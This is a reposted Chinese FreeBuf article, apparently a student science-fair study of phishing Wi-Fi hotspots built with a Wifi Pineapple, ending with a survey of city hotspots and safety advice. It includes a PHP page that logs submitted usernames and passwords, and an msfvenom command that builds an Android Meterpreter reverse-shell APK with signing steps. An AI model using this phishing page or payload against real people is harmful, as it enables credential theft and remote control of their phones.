搜索

[11213] 2017-04-07_基于Wifipineapple对无线安全情况的综合性调查与研究

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2017-04-07_基于Wifipineapple对无线安全情况的综合性调查与研究 基 于 W i f i p i n e a p p l e 对 无 线 安 全 情 况 的 综 合 性 调 查 与 研 究 A u r o r a L a b   F r e e B u f   2 0 1 7 - 0 4 - 0 7 * 原 创 作 者 ： A u r o r a L a b ， 本 文 属 F r e e b u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载       本 项 目 已 荣 获 2 0 1 7 年 福 建 省 第 3 2 届 青 少 年 科 技 创 新 大 赛 一 等 奖 摘 要 ： 摘 要 ： 通 过 设 计 并 进 行 试 验 、 实 地 调 查 等 方 式 ， 对 无 线 安 全 的 情 况 进 行 综 合 性 的 调 查 与 研 究 ， 最 终 提 出 合 理 化 建 议 。 利 用 无 线 安 全 审 计 设 备   W i f i p i n e a p p l e   模 拟 出 黑 客 所 使 用 的 “ 钓 鱼   W i - F i ” 网 页 进 行 数 据 的 收 集 和 实 际 体 验 。 试 图 做 出 对 该 类 行 为 防 范 的 反 思 和 进 一 步 的 建 议 ， 提 高 人 们 对 无 线 安 全 的 重 视 意 识 。                         关 键 词 ： 关 键 词 ： 无 线 网 络 安 全   综 合 性 调 查 和 研 究     无 线 安 全 审 计   W i f i p i n e a p p l e   K a l i   L i n u x   反 思 和 建 议 引 言 引 言 在   2 1   世 纪 的 今 天 ， 通 过 手 机 、 平 板 电 脑 等 设 备 上 网 已 成 为 了 人 们 生 活 中 不 可 或 缺 的 一 部 分 ， 许 多 人 已 经 拔 掉 了 网 线 ， 通 过 无 线 连 接 的 方 式 来 连 接 到 互 联 网 。 但 近 年 来 ， 越 来 越 多 的 黑 客 通 过 无 线 局 域 网 实 现 违 法 犯 罪 行 为 ， 这 导 致 了 许 多 人 的 个 人 财 产 和 隐 私 被 侵 犯 。 许 多 地 方 出 现 了 利 用   W i - F i   来 进 行 非 法 活 动 的 现 象 ， 让 许 多 人 一 不 小 心 就 成 了 受 害 者 。 本 着 创 客 的 精 神 ， 我 决 定 对 这 一 现 象 进 行 探 究 ， 进 行 实 际 的 实 验 测 试 ， 并 试 图 找 到 破 解 这 一 现 象 可 行 的 好 方 法 、 好 建 议 。 1 .   模 拟 出 模 拟 出 “ 钓 鱼 钓 鱼   W i - F i   ” 进 行 数 据 采 集 及 实 际 操 作 实 验 进 行 数 据 采 集 及 实 际 操 作 实 验 为 了 更 好 地 收 集 、 分 析 数 据 ， 更 客 观 地 进 行 研 究 调 查 ， 并 体 现 所 谓 “ 钓 鱼   W i - F i   ” 的 原 理 ， 我 决 定 仿 造 一 个 “ 钓 鱼 W i - F i ” 热 点 ， 来 进 行 实 验 。 我 利 用 了 一 款 无 线 安 全 审 计 设 备 — — W i f i p i n e a p p l e （ 中 文 名 ： W i - F i   菠 萝 ， 下 同 ） 来 进 行 模 拟 “ 钓 鱼 W i - F i ” 的 实 验 和 数 据 采 集 。 1 . 1   W i f i p i n e a p p l e   概 况 概 况 W i f i p i n e a p p l e 是 一 款 在 国 外 极 受 欢 迎 、 十 分 易 用 的 无 线 安 全 审 计 设 备 ， 由 开 源 无 线 安 全 审 计 软 件 社 区 提 供 软 件 支 持 ， 但 在 国 内 使 用 的 人 数 和 范 围 较 小 ， 仅 有 部 分 爱 好 者 使 用 ， 故 国 内 网 站 可 搜 索 到 的 资 料 较 少 。 本 次 使 用 了 两 台 型 号 为 W i f i p i n e a p p l e   M a r k   5   P l u s 的 设 备 （ 其 中 一 台 为 备 用 机 ） 。 具 体 参 数 如 下 ：         C P U : 高 通   S O C   4 0 0   M H z   M I P S         运 行 内 存 ： 6 4   M B         储 存 ： 3 2   G B （ 主 要 用 机 ） / 1 6 M B ( 备 用 机 )         接 口 ： 1 * U S B   2 . 0 , 1 * 有 线 网 口 ， 1 * S D 卡 接 口 ， 1 * M i c r o   U S B         供 电 ： 内 置 6 0 0 0 m A 聚 合 物 锂 电 池         尺 寸 （ 长 * 宽 * 厚 ） ： 1 0 7 m m * 6 4 m m * 2 2 m m
2   “ 钓 鱼 钓 鱼 W i - F i ” 原 理 的 模 拟 原 理 的 模 拟 2 . 1   W i f i p i n e a p p l e 的 初 步 调 试 的 初 步 调 试 为 更 好 地 完 成 此 次 模 拟 “ 钓 鱼 W i - F i ” 原 理 的 实 验 ， 防 止 出 现 纰 漏 ， 需 要 在 进 行 后 续 操 作 前 对 设 备 进 行 检 查 调 试 。 我 对 设 备 进 行 了 开 机 送 电 和 U S B 接 口 、 电 源 开 关 、 以 太 网 接 口 、 S D 卡 插 槽 以 及 后 台 登 陆 操 作 等 六 项 测 试 。 在 确 保 正 常 后 ， 再 开 始 进 行 下 一 步 操 作 。 2 . 2   “ 钓 鱼 钓 鱼 W i - F i ” 界 面 的 制 作 、 调 试 、 实 现 界 面 的 制 作 、 调 试 、 实 现 为 了 高 仿 真 地 仿 造 一 个 黑 客 在 “ 钓 鱼 ” 时 的 工 作 过 程 ， 我 们 仿 造 黑 客 的 工 作 原 理 制 作 了 一 个 类 似 正 规 免 费 热 点 的 “ 钓 鱼 W i - F i ” ， 以 便 更 好 地 进 行 研 究 。 同 理 可 证 ， 在 次 实 验 的 可 行 的 基 础 上 ， 登 录 界 面 还 可 以 换 成 支 付 宝 登 录 界 面 、 C M C C 登 录 界 面 等 等 ， 可 以 实 现 对 信 息 的 窃 取 。 我 模 拟 的 “ 钓 鱼 W i - F i ” 将 可 以 实 现 对 登 录 信 息 的 记 录 、 对 设 备 实 时 状 态 的 监 控 以 及 对 已 连 接 的 安 卓 设 备 的 远 程 控 制 等 功 能 。 2 . 2 . 1   “ 钓 鱼 钓 鱼 W i - F i ” 的 概 况 介 绍 的 概 况 介 绍 为 了 确 保 收 集 数 据 的 合 理 性 ， 确 保 项 目 在 符 合 道 德 伦 理 以 及 合 法 的 情 况 下 进 行 ， 并 考 虑 到 自 身 因 素 ， 我 决 定 将 热 点 伪 装 成 学 校 内 部 的 免 费 W i - F i 热 点 ， 用 来 实 现 实 验 以 及 相 关 数 据 的 获 取 活 动 。 为 了 确 保 连 接 者 的 个 人 信 息 安 全 ， 我 会 在 实 验 结 束 后 立 即 删 除 相 关 隐 私 数 据 和 记 录 。 2 . 2 . 2   安 装 所 需 的 插 件 安 装 所 需 的 插 件 完 成 初 始 化 配 置 后 ， 在 浏 览 器 中 输 入 h t t p : / / 1 7 2 . 1 6 . 4 2 . 1 : 1 4 7 1 / ， 选 择 左 侧 的 M o d u l e s 选 项 ， 点 击 G e t   M o d u l e s   f r o m   W i F i P i n a p p l e . c o m 选 项 ， 系 统 将 会 自 动 刷 新 出 所 有 插 件 。 这 次 ， 我 选 择 了 实 验 所 需 的 三 个 插 件 ： D N S s p o o f , D w a l l , u r l s n r a f 。 逐 个 安 装 。 安 装 后 系 统 显 示 如 图 所 示 ：
安 装 后 ， 逐 个 打 开 插 件 ， 使 插 件 进 行 工 作 ， 再 加 以 定 制 ， 即 完 成 了 软 件 的 个 性 化 操 作 。 2 . 3   模 拟 模 拟 “ 钓 鱼 钓 鱼 W i - F i ” L o g i n 登 录 界 面 的 制 作 登 录 界 面 的 制 作 钓 鱼 页 面 采 用 H T M L 和 P H P 语 言 编 写 ， 为 了 美 观 ， 前 端 采 用 了 B o o t s t r a p 框 架 ， 在 用 户 接 入 W i F i 后 ， 会 自 动 重 定 向 至 该 页 面 ， 随 后 用 户 会 根 据 提 示 填 入 班 级 姓 名 ， 在 点 击 登 入 按 钮 后 ， 用 户 填 入 的 信 息 会 被 记 录 在 l o g . t x t 文 件 中 ， 便 于 后 续 的 操 作 以 及 数 据 的 记 录 。 具 体 代 码 如 下 ： < ? p h p h e a d e r ( " C o n t e n t - t y p e :   t e x t / h t m l ;   c h a r s e t = u t f - 8 " ) $ c o m 1   =   " $ _ G E T [ p a s s w o r d ] " $ c o m 2   =   " $ _ G E T [ u s e r n a m e ] " $ f i l e   =   ' l o g . t x t ' $ f p   =   @ f o p e n ( $ f i l e ,   ' a ' ) f w r i t e ( $ f p , " r n $ c o m 2 r n $ c o m 1 " ) f c l o s e ( $ f p ) ? > < ? p h p h e a d e r ( " L o c a t i o n :   o k . h t m l " ) e x i t ; ? > 2 . 3 . 1   L o g i n 登 录 界 面 与 登 录 界 面 与 W i f i p i n e a p p l e 的 整 合 的 整 合 事 先 制 作 好 模 拟 免 费 热 点 的 L o g i n 登 录 界 面 。 这 次 我 模 仿 的 是 虚 拟 的 学 校 W i - F i 的 认 证 界 面 。 L o g i n 界 面 制 作 完 成 后 ， 需 要 将 界 面 与 W i f i p i n e a p p l e 进 行 整 合 。 首 先 将 所 有 文 件 复 制 到 W i f i p i n e a p p l e 中 的 / w w w / 根 目 录 下 。 接 下 来 ， 重 启 W i f i p i n e a p p l e 执 行 操 作 。 重 启 后 ， 在 浏 览 器 中 输 入 h t t p : / / 1 7 2 . 1 6 . 4 2 . 1 ， 可 看 到 如 图 的 界 面 。 在 相 应 的 界 面 中 按 要 求 输 入 班 级 、 姓 名 ， 点 击 登 录 以 后 ， 会 出 现 “ 登 陆 成 功 ” 的 提 示 完 成 界 面 ， 此 时 登 录 信 息 将 会 自 动 记 录 到 系 统 / w w w / 文 件 夹 内 。
2 . 4   通 过 模 拟 的 通 过 模 拟 的 “ 钓 鱼 钓 鱼 W i - F i ” 实 现 对 已 连 接 安 卓 设 备 的 远 程 控 制 实 现 对 已 连 接 安 卓 设 备 的 远 程 控 制 除 了 可 以 利 用 模 拟 的 “ 钓 鱼 W i - F i ” 对 已 连 接 设 备 进 行 监 控 外 ， 甚 至 还 可 以 利 用 它 对 已 连 接 的 安 卓 设 备 进 行 远 程 控 制 。 2 . 4 . 1   使 用 使 用 K a l i   L i n u x 制 作 制 作 . a p k 程 序 并 签 名 程 序 并 签 名 首 先 ， 使 用 预 先 安 装 好 的 K a l i   L i n u x 系 统 上 的 M s f v e n o m 应 用 编 辑 一 个 后 缀 名 为 . a p k 的 文 件 ， 使 程 序 可 以 在 安 卓 设 备 上 运 行 。 打 开 终 端 提 示 符 下 输 入 命 令 ， 使 用 m s f v e n o m 工 具 来 创 建 有 效 载 荷 A P K 文 件 ： m s f v e n o m   - p   a n d r o i d / m e t e r p r e t e r / r e v e r s e t c p   L H O S T = 1 9 2 . 1 6 8 . 1 1 2 8   L P O R T = 4 4 4 4   R   >   / r o o t / D e s k t o p / t e s t . a p k 执 行 后 ， 即 可 在 输 出 目 录 查 看 到 创 建 好 的 . a p k 文 件 了 。 执 行 下 列 命 令 签 名 ， 首 先 使 用 密 钥 工 具 创 建 密 钥 库 ： k e y t o o l   - g e n k e y   - v   - k e y s t o r e   m y - t e s t . K e y s t o r e   - a l i a s   t e s t   - k e y a l g   R S A   - k e y s i z e   2 0 4 8   - v a l i d i t y   1 0 0 0 0 然 后 使 用 J A R s i g n e r 签 名 . a p k ： j a r s i g n e r   - v e r b o s e   - s i g a l g   S H A 1 w i t h R S A   - d i g e s t a l g   S H A 1   - k e y s t o r e   m y - t e s t . K e y s t o r e   t e s t . a p k   t e s t 再 用 J A R s i g n e r 验 证 签 名 ：
由 于 K a l i   L i n u x 没 有 预 装 Z i p a l i g n ， 需 要 先 执 行 a p t - g e t   i n s t a l l   z i p a l i g n 。 然 后 用 z i p a l i g n 来 验 证 . a p k ： z i p a l i g n   - v   4   t e s t   .   a s k   m a i n . a p k 执 行 完 上 述 操 作 后 ， 我 们 就 可 以 得 到 一 个 带 有 签 名 的 . a p k 文 件 。 接 下 来 ， 则 可 以 使 用 M e t a s p l o i t 进 行 下 一 步 操 作 。 打 开 M e t a s p l o i t ， 执 行 m s f c o n s o l e 打 开 控 制 台 。 接 下 来 ， 执 行 ： 注 ： 代 码 中 的 I P 地 址 和 端 口 号 应 以 实 际 情 况 而 定 。               即 可 完 成 所 有 操 作 ， 并 将 制 作 好 的 程 序 上 传 到 模 拟 的 “ 钓 鱼 W i - F i ” 热 点 。 通 过 以 上 操 作 ， 我 们 可 以 发 现 ， 在 连 接 未 知 的 热 点 时 ， 除 了 自 己 的 个 人 信 息 会 被 盗 取 外 ， 自 己 的 设 备 甚 至 也 可 以 被 随 意 控 制 。 这 对 我 们 的 个 人 隐 私 和 财 产 安 全 都 造 成 了 巨 大 的 威 胁 。 2 . 5   利 用 利 用 W i f i p i n e a p p l e 制 作 的 制 作 的 “ 钓 鱼 钓 鱼 W i - F i ” 的 实 际 尝 试 的 实 际 尝 试
在 制 作 完 上 述 的 钓 鱼 界 面 后 ， 我 们 进 行 了 实 际 的 测 验 。 我 建 立 了 一 个 名 为 “ F r e e W i F i - J i a n j i n ” 的 未 加 密 热 点 。 打 开 热 点 ， 开 始 工 作 ， 使 用 智 能 手 机 （ 安 卓 系 统 ） 连 接 该 热 点 ， 打 开 浏 览 器 ， 输 入 h t t p : / / 1 7 2 . 1 6 . 4 2 . 1 ， 即 可 见 到 如 上 图 的 界 面 。 在 输 入 个 人 信 息 后 ， 将 会 自 动 跳 转 出 一 个 “ 登 录 成 功 ” 的 提 示 。 而 此 时 ， 刚 刚 输 入 的 信 息 则 会 被 记 录 到 W i f i p i n e a p p l e 后 台 根 目 录 文 件 的 / w w w / 目 录 中 。 例 如 ， 我 在 班 级 中 输 入 “ 八 年 十 四 班 ” ， 姓 名 中 输 入 “ X X X ” ， 则 立 刻 在 后 台 的 文 件 下 就 可 以 看 到 输 入 的 “ 八 年 十 四 班 ” 和 “ X X X ” 等 文 字 ， 一 些 不 法 分 子 盗 用 银 行 卡 密 码 等 个 人 数 据 就 是 采 用 此 等 方 式 。 此 外 ， 在 W i f i p i n e a p p l e 的 控 制 界 面 ， 还 可 以 随 意 看 到 连 接 热 点 的 手 机 正 在 进 行 操 作 的 情 况 的 截 图 。 2 . 5 . 1   W i f i p i n e a p p l e 制 作 的 制 作 的 “ 钓 鱼 钓 鱼 W i - F i ” 后 台 信 息 收 集 的 展 示 后 台 信 息 收 集 的 展 示 在 上 文 中 l o g i n 登 录 界 面 制 作 完 成 后 ， 使 用 设 备 连 接 W i - F i ， 进 入 浏 览 器 ， 在 地 址 栏 内 输 入 1 7 2 . 1 6 . 4 2 . 1 ， 即 可 进 入 相 应 的 界 面 。 在 界 面 中 输 入 “ 班 级 ” 和 “ 姓 名 ” 后 ， 输 入 的 信 息 将 会 自 动 记 录 到 W i f i p i n e a p p l e 后 台 的 / w w w / 文 件 夹 下 ， 我 则 可 以 轻 易 地 查 看 到 信 息 。 同 理 可 证 ， 如 果 把 界 面 换 成 支 付 宝 的 支 付 界 面 或 者 是 C M C C 的 登 录 界 面 ， 不 明 就 里 的 人 的 信 息 同 样 会 被 这 样 记 录 下 来 ， 不 法 分 子 同 样 可 以 利 用 此 原 理 获 取 账 号 、 密 码 ， 并 实 行 不 法 犯 罪 。 这 种 行 为 的 危 害 性 不 言 而 喻 ， 而 一 般 人 通 过 普 通 的 安 全 软 件 也 无 法 鉴 别 出 连 接 的 无 线 局 域 网 是 否 安 全 。 如 ， 我 在 界 面 中 输 入 班 级 、 姓 名 ， 在 显 示 登 录 成 功 后 ， 个 人 信 息 在 后 台 中 则 可 以 显 示 出 来 。
2 . 6   对 连 接 对 连 接 “ 钓 鱼 钓 鱼 W i - F i ” 的 设 备 状 态 的 实 时 监 控 的 展 示 的 设 备 状 态 的 实 时 监 控 的 展 示 除 了 上 述 记 录 数 据 的 功 能 外 ， W i f i p i n e a p p l e 还 可 实 现 对 连 接 设 备 状 态 的 实 时 监 控 ， 实 现 对 设 备 正 在 进 行 的 任 务 和 活 动 进 行 监 控 和 盗 取 数 据 的 目 的 。 在 设 备 连 接 后 ， 可 以 在 W i f i p i n e a p p l e 管 理 后 台 中 的 D - W a l l 插 件 中 查 看 到 设 备 实 时 的 状 态 。 具 体 查 看 的 过 程 如 下 ： 1 、   在 浏 览 器 中 输 入 h t t p : / / 1 7 2 . 1 6 . 2 4 . 1 : 1 4 7 1 , 进 入 W i f i p i n e a p p l e 后 台 。 2 、   进 入 D - W a l l 插 件 ， 并 使 D - W a l l 插 件 开 始 工 作 。 3 、   将 设 备 连 接 至 热 点 ， 即 可 看 到 手 机 所 在 进 行 的 任 务 （ 手 机 型 号 ： R e d m i   3 s ） 。 从 上 述 图 片 中 可 以 看 出 ， 利 用 这 个 “ 钓 鱼 W i - F i ” ， 犯 罪 分 子 可 以 轻 而 易 举 地 窥 探 到 你 的 隐 私 ， 对 这 些 信 息 稍 加 解 密 ， 所 有 隐 私 就 会 完 全 暴 露 在 犯 罪 分 子 的 眼 皮 底 下 。 同 时 ， 如 果 你 的 个 人 聊 天 记 录 或 者 私 密 文 件 被 犯 罪 分 子 非 法 窃 取 ， 那 么 损 失 将 会 是 不 可 估 量 的 。 2 . 7   对 对 “ 钓 鱼 钓 鱼 W i - F i ” 的 安 全 性 检 测 的 安 全 性 检 测 目 前 ， 市 面 上 的 许 多 软 件 都 带 有 “ 检 测 W i - F i 安 全 性 ” 的 功 能 。 为 了 鉴 别 此 类 软 件 是 否 有 效 ， 也 为 了 鉴 别 本 次 实 验 的 “ 钓 鱼 W i - F i ” 伪 装 是 否 到 位 ， 我 利 用 手 机 上 安 装 的 安 全 软 件 进 行 了 一 次 安 全 性 检 测 。 本 次 利 用 了 “ 3 6 0 免 费 W i - F i ” 这 款 市 面 上 比 较 流 行 的 软 件 进 行 检 测 。 具 体 的 结 果 如 图 所 示 。
可 见 ， 在 成 功 连 接 我 制 作 的 “ 钓 鱼 W i - F i ” 后 ， 即 使 是 主 流 的 手 机 W i - F i 软 件 检 测 软 件 ， 也 无 法 检 测 出 它 的 安 全 性 ， 甚 至 被 它 所 迷 惑 。 由 此 可 见 ， 黑 客 若 要 伪 装 ， 则 可 以 完 全 把 “ 钓 鱼 W i - F i ” 伪 装 成 与 安 全 的 W i - F i 一 样 的 模 式 。 因 此 ， 我 们 在 外 时 一 定 要 注 意 网 络 安 全 ， 不 要 随 意 连 接 不 明 的 W i - F i ， 就 算 要 连 接 ， 也 要 多 留 一 个 心 眼 ， 以 免 自 己 的 个 人 隐 私 和 财 产 安 全 受 到 损 失 。 2 . 8   对 数 据 的 合 法 化 处 理 对 数 据 的 合 法 化 处 理 为 了 使 此 次 试 验 符 合 道 德 、 法 律 与 伦 理 的 三 重 共 同 要 求 ， 并 不 使 隐 私 泄 露 ， 做 到 安 全 最 大 化 ， 我 在 此 郑 重 承 诺 ： 在 试 验 中 ， 所 有 数 据 展 示 均 选 取 了 无 关 个 人 隐 私 的 数 据 ， 保 证 数 据 的 合 法 性 、 安 全 性 ， 并 在 使 用 过 后 立 即 销 毁 ， 保 证 任 何 隐 私 不 受 外 界 干 扰 和 窃 取 ， 保 证 符 合 中 华 人 民 共 和 国 相 关 互 联 网 法 律 之 规 定 。
2 . 9   对 上 述 对 上 述 “ 钓 鱼 钓 鱼 ” 活 动 的 总 结 活 动 的 总 结 通 过 上 述 尝 试 ， 我 可 以 发 现 ， 黑 客 利 用 此 类 钓 鱼 热 点 ， 可 以 轻 而 易 举 地 获 取 到 我 们 的 账 号 密 码 ， 还 可 以 偷 窥 到 我 们 的 隐 私 ， 甚 至 可 以 直 接 控 制 我 们 的 设 备 ， 这 是 何 等 的 可 怕 啊 ！ 目 前 屡 见 不 鲜 的 支 付 宝 、 银 行 卡 账 号 失 窃 、 银 行 卡 遭 到 盗 刷 的 案 件 很 大 一 部 分 就 是 利 用 此 原 理 完 成 的 。 同 样 ， 我 还 可 以 把 登 录 界 面 制 作 成 C M C C 热 点 的 登 录 界 面 来 骗 取 上 网 密 码 ， 同 理 可 证 ， 可 以 仿 造 的 页 面 有 很 多 ， 甚 至 可 以 窃 取 到 你 个 人 Q Q 、 微 信 的 账 号 以 及 密 码 。 此 外 ， 在 连 接 了 此 类 热 点 后 ， 你 的 个 人 隐 私 将 会 被 一 览 无 遗 ， 你 的 手 机 正 在 浏 览 界 面 的 状 态 的 实 时 截 屏 将 会 一 五 一 十 地 发 送 到 后 台 ， 犯 罪 分 子 只 要 进 行 简 单 的 解 密 就 可 以 查 看 ， 并 窃 取 相 关 信 息 ， 作 为 己 用 。 因 此 ， 在 外 时 一 定 要 注 意 手 机 连 接 热 点 的 安 全 ， 不 要 使 不 法 分 子 有 了 可 乘 之 机 。 3 .   对 市 区 内 各 热 点 安 全 性 的 实 地 调 查 对 市 区 内 各 热 点 安 全 性 的 实 地 调 查 在 经 过 了 之 前 的 网 络 调 查 与 原 理 实 验 后 ， 我 们 决 定 就 本 市 的 具 体 情 况 ， 开 展 一 次 实 地 调 查 ， 范 围 在 市 区 内 ， 主 要 调 查 市 区 内 公 共 热 点 的 布 置 、 连 接 流 量 及 安 全 情 况 。 3 . 1   对 市 区 内 公 共 热 点 布 置 情 况 的 调 查 对 市 区 内 公 共 热 点 布 置 情 况 的 调 查 经 过 实 际 的 走 访 、 调 查 与 观 察 后 ， 我 们 发 现 ， 在 市 中 心 繁 华 区 域 ， 有 许 多 的 的 热 点 分 布 ， 其 中 一 大 部 分 是 公 共 热 点 。 而 公 共 热 点 又 主 要 分 为 两 大 类 ： 第 一 类 是 由 餐 厅 、 咖 啡 馆 等 商 家 自 行 提 供 的 热 点 ， 在 一 定 范 围 内 信 号 较 强 ； 第 二 类 是 由 中 国 移 动 、 中 国 电 信 、 中 国 联 通 提 供 的 收 费 热 点 服 务 （ 三 大 运 营 商 提 供 的 收 费 热 点 名 称 分 别 为 ： 中 国 移 动 ： C M C C ； 中 国 电 信 ： C h i n a N e t ； 中 国 联 通 ： C h i n a u n i c o m ） ， 信 号 适 中 。 3 . 2   对 两 类 热 点 的 抽 样 调 查 对 两 类 热 点 的 抽 样 调 查 为 了 更 具 体 地 了 解 三 类 热 点 的 具 体 情 况 ， 我 又 逐 一 对 三 类 热 点 各 抽 取 了 一 个 ， 进 行 实 际 连 接 的 调 查 。 我 首 先 对 第 一 类 热 点 进 行 了 调 查 。 我 来 到 市 区 内 某 家 茶 餐 厅 ， 对 该 店 的 免 费 热 点 进 行 了 调 查 。 经 调 查 后 发 现 ， 该 店 的 热 点 总 体 信 号 较 强 ， 在 连 接 人 数 较 多 的 情 况 下 ， 仍 能 保 持 较 流 畅 的 速 度 。 但 该 热 点 的 连 接 方 式 并 非 为 普 通 的 秘 钥 连 接 ， 而 是 采 用 了 商 家 普 遍 采 用 的 网 页 连 接 方 式 ， 且 要 求 输 入 手 机 号 、 获 取 验 证 码 后 才 可 连 接 。 这 样 的 连 接 方 式 ， 无 疑 会 给 不 法 分 子 有 了 可 乘 之 机 。 所 谓 的 “ 钓 鱼 W i F i ” 通 常 就 是 伪 装 成 这 样 需 要 通 过 网 页 连 接 的 热 点 ， 从 而 在 受 害 者 连 接 后 达 到 犯 罪 的 目 的 。 接 着 ， 我 对 第 二 类 热 点 进 行 了 调 查 。 我 们 抽 取 了 中 国 电 信 的 C h i n a N e t 热 点 进 行 了 调 查 。 我 来 到 了 市 区 内 该 热 点 信 号 最 强 的 地 方 之 一 — — 解 放 路 中 国 电 信 营 业 厅 进 行 连 接 调 查 。 通 常 ， 这 类 由 运 营 商 运 营 的 热 点 是 需 要 收 费 的 热 点 ， 也 是 通 过 网 页 连 接 ， 但 需 要 在 连 接 界 面 输 入 提 前 注 册 好 的 账 号 、 密 码 才 可 正 常 使 用 。 这 类 热 点 虽 然 比 第 一 类 热 点 安 全 系 数 更 高 ， 但 仍 然 有 可 乘 之 机 （ 例 如 使 用 W i f i p i n e a p p l e 克 隆 该 类 热 点 的 网 页 ， 盗 取 用 户 的 付 费 账 号 密 码 ） 。 4 .   对 本 次 活 动 的 总 结 对 本 次 活 动 的 总 结 通 过 此 次 系 统 地 调 查 ， 使 我 深 刻 地 理 解 到 了 无 线 局 域 网 的 安 全 漏 洞 之 大 。 我 通 过 一 个 实 验 ， 模 拟 了 不 法 分 子 进 行 违 法 犯 罪 的 原 理 ， 凸 显 了 无 线 局 域 网 安 全 的 薄 弱 。 目 前 此 类 犯 罪 之 多 正 是 因 为 广 大 群 众 的 提 防 意 识 不 够 造 成 的 ， 如 果 我 们 能 够 提 高 这 方 面 的 意 识 ， 我 们 则 可 以 在 很 大 的 程 度 上 预 防 这 类 犯 罪 ， 使 我 们 的 财 产 、 个 人 隐 私 安 全 最 大 化 。 5 .   提 出 建 议 提 出 建 议
通 过 之 前 的 调 查 ， 我 们 对 无 线 网 络 安 全 有 了 一 个 更 深 入 的 理 解 ， 当 然 ， 对 目 前 层 出 不 穷 的 利 用 无 线 网 络 实 施 犯 罪 的 现 象 ， 也 有 了 一 些 自 己 的 建 议 和 看 法 。 我 们 提 出 了 以 下 几 点 建 议 ： 无 线 局 域 网 相 对 于 蜂 窝 移 动 数 据 ， 是 一 种 更 快 捷 、 资 费 更 低 的 连 接 方 式 ， 但 若 要 选 择 无 线 局 域 网 连 接 ， 请 尽 量 连 接 自 家 的 热 点 或 是 自 己 已 知 安 全 的 热 点 。 若 连 接 了 不 明 的 热 点 ， 个 人 隐 私 和 财 产 安 全 就 很 有 可 能 受 到 损 失 。 在 外 出 时 ， 若 要 连 接 互 联 网 ， 请 不 要 贪 图 便 宜 ， 尽 量 使 用 蜂 窝 移 动 数 据 连 接 。 若 实 在 要 连 接 公 共 热 点 ， 要 在 确 认 热 点 安 全 的 情 况 下 连 接 。 连 接 已 知 安 全 的 热 点 。 现 在 有 很 多 软 件 （ 如 平 安 W i - F i 、 3 6 0 免 费 W i - F i 等 ） 已 经 提 供 了 热 点 分 享 和 认 证 服 务 ， 若 要 连 接 公 共 热 点 ， 应 尽 量 连 接 软 件 内 官 方 确 认 安 全 的 热 点 。 但 尽 量 不 要 连 接 除 认 证 热 点 外 的 未 知 热 点 ， 因 为 那 些 热 点 的 安 全 性 未 知 ， 也 很 容 易 绕 过 该 类 软 件 的 检 测 。 使 用 公 共 热 点 时 ， 尽 量 不 要 使 用 支 付 宝 、 微 信 等 支 付 服 务 或 进 行 手 机 银 行 转 账 、 购 物 等 ， 避 免 造 成 不 必 要 的 损 失 。 若 要 使 用 上 述 服 务 ， 请 务 必 使 用 蜂 窝 移 动 数 据 连 接 。 多 加 了 解 互 联 网 安 全 知 识 ， 时 时 绷 着 一 根 弦 ， 警 惕 生 活 中 时 常 发 生 的 不 法 行 为 。 6 .   待 改 进 的 地 方 待 改 进 的 地 方 （ 1 ） 自 动 热 点 登 录 界 面 尚 未 实 现 自 动 跳 转 ， 后 续 工 程 中 可 添 加 ， 以 更 好 地 仿 真 （ 2 ） 在 后 续 工 作 中 可 以 将 此 实 验 作 为 一 个 教 学 的 道 具 ， 供 中 小 学 信 息 技 术 课 讲 授 无 线 网 络 安 全 知 识 或 是 在 普 及 无 线 网 络 安 全 知 识 时 作 为 演 示 。 （ 3 ） 可 以 进 一 步 将 实 验 中 的 截 图 解 密 ， 做 到 更 直 观 的 演 示 。 结 语 结 语 在 多 方 面 的 支 持 下 ， 我 成 功 完 成 了 这 次 调 查 ， 在 此 就 不 逐 一 表 达 谢 意 。 调 查 的 结 果 也 十 分 引 人 深 思 。 被 “ 钓 鱼 W i - F i ” 盗 取 财 产 或 是 侵 犯 权 益 的 事 件 时 有 发 生 的 原 因 有 很 多 ， 但 我 认 为 ， 最 根 本 的 原 因 莫 过 于 人 们 的 防 范 意 识 不 够 或 是 有 一 种 爱 贪 小 便 宜 的 心 理 在 作 祟 ， 这 也 正 给 了 不 法 分 子 可 乘 之 机 。 避 免 此 类 事 件 不 再 发 生 的 方 法 其 实 很 简 单 。 首 先 ， 大 家 必 须 提 高 自 己 的 防 范 意 识 ， 不 要 为 了 一 点 通 讯 资 费 而 随 意 连 接 不 安 全 的 无 线 热 点 ， 而 是 尽 量 使 用 安 全 的 网 络 或 是 蜂 窝 移 动 数 据 上 网 。 这 样 ， 不 法 分 子 就 不 会 有 可 乘 之 机 。 希 望 这 次 调 查 可 以 引 起 大 家 对 互 联 网 安 全 的 足 够 重 视 ！ 参 考 文 献 ： 《 K a l i   L i n u x &   B a c k   T r a c k 渗 透 测 试 实 战 》   （ 韩 ） 赵 涎 元   著   金 光 爱   译 鸣 谢 鸣 谢 所 有 提 出 宝 贵 意 见 的 人 士 * 原 创 作 者 ： A u r o r a L a b ， 本 文 属 F r e e b u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理